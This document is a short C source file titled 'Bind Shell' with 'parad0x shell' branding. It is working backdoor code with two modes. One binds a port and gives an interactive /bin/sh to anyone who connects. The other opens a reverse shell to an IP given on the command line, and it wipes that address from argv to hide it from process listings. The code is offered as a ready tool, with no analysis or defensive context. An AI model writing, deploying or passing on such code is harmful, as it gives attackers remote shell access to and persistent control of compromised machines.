Bind Shell

/* say thank's to aldjazara :) */
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(int argc,char *argv[]){
    int s,c,o=1;
    struct sockaddr_in i;
    if(argc==2){
        i.sin_family=AF_INET;
        i.sin_port=htons(atoi(argv[1]));
        i.sin_addr.s_addr=htonl(INADDR_ANY);
        s=socket(AF_INET,SOCK_STREAM,0);
        setsockopt(s,SOL_SOCKET,SO_REUSEADDR,&o,sizeof(o));
        if(!s)exit(0);
        bind(s,(struct sockaddr *)&i,0x10);
        listen(s,5);
        c=accept(s,0,0);
        send(c,"parad0x shell : connected\n",24,0);
        dup2(c,0);
        dup2(c,1);
        dup2(c,2);
        system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
        close(c);
    }
    else if(argc==3){
        i.sin_family=AF_INET;
        i.sin_port=htons(atoi(argv[1]));
        i.sin_addr.s_addr=inet_addr(argv[2]);
        bzero(argv[2],strlen(argv[2])+1+strlen(argv[1]));
        s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
        if((connect(s,(struct sockaddr *)&i,sizeof(struct sockaddr)))<0)exit(0);
        send(s,"parad0x shell : connected\n",24,0);
        dup2(s,0);
        dup2(s,1);
        dup2(s,2);
        system("export TERM=xterm;PS1='$PWD>';export PS1;exec /bin/sh -i");
        close(s);
    }
}